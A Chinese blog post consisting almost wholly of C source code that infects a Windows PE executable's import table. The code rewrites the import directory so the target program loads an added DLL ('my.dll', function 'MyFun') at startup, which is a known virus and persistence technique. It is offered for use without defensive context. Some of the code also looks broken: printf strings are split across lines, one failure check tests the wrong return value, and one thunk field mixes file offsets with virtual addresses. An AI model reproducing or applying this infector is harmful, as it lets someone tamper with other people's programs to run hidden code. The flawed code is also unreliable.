一段感染引入表的vc代码

文章作者：[E.S.T] 认真的雪  

#include <stdio.h>  
#include <windows.h>  
DWORD RVAToOffset(LPVOID lpBase,DWORD VirtualAddress)  
{  
IMAGE_DOS_HEADER *dosHeader;  
IMAGE_NT_HEADERS *ntHeader;  
IMAGE_SECTION_HEADER *sectionHeader;  
int NumOfSections;  
dosHeader=(IMAGE_DOS_HEADER*)lpBase;  
ntHeader=(IMAGE_NT_HEADERS*)((BYTE*)lpBase+dosHeader->e_lfanew);  
NumOfSections=ntHeader->FileHeader.NumberOfSections;  
for (int i=0;i<NumOfSections;i++)  
{  
sectionHeader=(IMAGE_SECTION_HEADER*)((BYTE*)lpBase+dosHeader->e_lfanew+sizeof(IMAGE_NT_HEADERS))+i;  
if(VirtualAddress>sectionHeader->VirtualAddress&&VirtualAddress<sectionHeader->VirtualAddress+sectionHeader->SizeOfRawData)  
{  
DWORD AposRAV=VirtualAddress-sectionHeader->VirtualAddress;  
DWORD Offset=sectionHeader->PointerToRawData+AposRAV;  
return Offset;  
}  
}  
return 0;  
}  
int sectionNum(LPVOID lpBase,DWORD VirtualAddress)  
{  
IMAGE_DOS_HEADER *dosHeader;  
IMAGE_NT_HEADERS *ntHeader;  
IMAGE_SECTION_HEADER *sectionHeader;  
int NumOfSections;  
dosHeader=(IMAGE_DOS_HEADER*)lpBase;  
ntHeader=(IMAGE_NT_HEADERS*)((BYTE*)lpBase+dosHeader->e_lfanew);  
NumOfSections=ntHeader->FileHeader.NumberOfSections;  
for (int i=0;i<NumOfSections;i++)  
{  
sectionHeader=(IMAGE_SECTION_HEADER*)((BYTE*)lpBase+dosHeader->e_lfanew+sizeof(IMAGE_NT_HEADERS))+i;  
if(VirtualAddress>sectionHeader->VirtualAddress&&VirtualAddress<sectionHeader->VirtualAddress+sectionHeader->SizeOfRawData)  
{  
return i;  
}  
}  
return -1;  
}  

int main(int argc, char* argv[])  
{  
HANDLE hFile=CreateFile(argv[1],GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);  
if(hFile==INVALID_HANDLE_VALUE)  
{  
printf("CreateFile Failed
");  
return 0;  
}  
HANDLE hMap=CreateFileMapping(hFile,NULL,PAGE_READWRITE,NULL,NULL,NULL);  
if(hMap==INVALID_HANDLE_VALUE)  
{  
printf("CreateFileMapping Failed
");  
return 0;  
}  
LPVOID lpBase=MapViewOfFile(hMap,FILE_MAP_WRITE,0,0,0);  
if(lpBase==NULL)  
{  
printf("MapViewOfFile Failed
");  
return 0;   
}  
IMAGE_DOS_HEADER *dosHeader;  
IMAGE_NT_HEADERS *ntHeader;  
dosHeader=(IMAGE_DOS_HEADER*)lpBase;  
if (dosHeader->e_magic!=IMAGE_DOS_SIGNATURE)  
{  
printf("This is not a windows file
");  
return 0;  
}  
ntHeader=(IMAGE_NT_HEADERS*)((BYTE*)lpBase+dosHeader->e_lfanew);  
if(ntHeader->Signature!=IMAGE_NT_SIGNATURE)  
{  
printf("This is not a win32 file
");  
return 0;  
}  
int numOfSections=ntHeader->FileHeader.NumberOfSections;  
int ncout=sectionNum(lpBase,ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);  
if(ncout==-1)  
{  
printf("get section failed
");  
return 0;  
}  
IMAGE_SECTION_HEADER *sectionHeader;  
sectionHeader=(IMAGE_SECTION_HEADER*)((BYTE*)lpBase+dosHeader->e_lfanew+sizeof(IMAGE_NT_HEADERS))+ncout;  
int nullsize=sectionHeader->SizeOfRawData-sectionHeader->Misc.VirtualSize;  
printf("%d
",nullsize);  
IMAGE_IMPORT_DESCRIPTOR *ImportDec=(IMAGE_IMPORT_DESCRIPTOR*)((BYTE*)lpBase+RVAToOffset(lpBase,ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress));  
int i=0;  
while(ImportDec->FirstThunk)  
{  
i++;  
ImportDec++;  
}  
if(i*20+20*3+8+8>nullsize)  
{  
printf("file space is not enough
");  
return 0;  
}  
IMAGE_IMPORT_DESCRIPTOR *newImport;  
newImport=(IMAGE_IMPORT_DESCRIPTOR *)((BYTE*)lpBase+sectionHeader->PointerToRawData+sectionHeader->Misc.VirtualSize);  
printf("%x
",sectionHeader->PointerToRawData+sectionHeader->Misc.VirtualSize);  
printf("%d
",sizeof(IMAGE_IMPORT_DESCRIPTOR));  
ImportDec=(IMAGE_IMPORT_DESCRIPTOR*)((BYTE*)lpBase+RVAToOffset(lpBase,ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress));  
i=0;  
while(ImportDec->FirstThunk)  
{  
*newImport=*ImportDec;  
i++;  
ImportDec++;  
newImport++;  
}  
IMAGE_IMPORT_DESCRIPTOR myImport;  
char *name="my.dll";  
myImport.FirstThunk=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->VirtualAddress+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2)+20);  
myImport.TimeDateStamp=0;  
myImport.ForwarderChain=0;  
myImport.OriginalFirstThunk=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->PointerToRawData+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2)+20);  
myImport.Name=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->VirtualAddress+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2));  
*newImport=myImport;  
newImport++;  
memset(newImport,0,sizeof(IMAGE_IMPORT_DESCRIPTOR));  
newImport++;  
memcpy((char*)newImport,name,strlen(name)+1);  
DWORD newThunk;  
newThunk=(DWORD)newImport+20;  
*(DWORD*)newThunk=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->VirtualAddress+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2)+20+8);  
memset((void*)(newThunk+4),0,4);  
newThunk=newThunk+8;  
WORD hint=0x00;  
*(WORD*)newThunk=hint;  
newThunk=newThunk+sizeof(WORD);  
char *funname="MyFun";  
memcpy((char*)newThunk,funname,strlen(funname)+2);  
ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress=sectionHeader->Misc.VirtualSize+sectionHeader->VirtualAddress;  
FlushViewOfFile(lpBase,0);  
UnmapViewOfFile(lpBase);  
CloseHandle(hMap);  
CloseHandle(hFile);  
return 0;  
} 

补充：软件开发 , Vc ,

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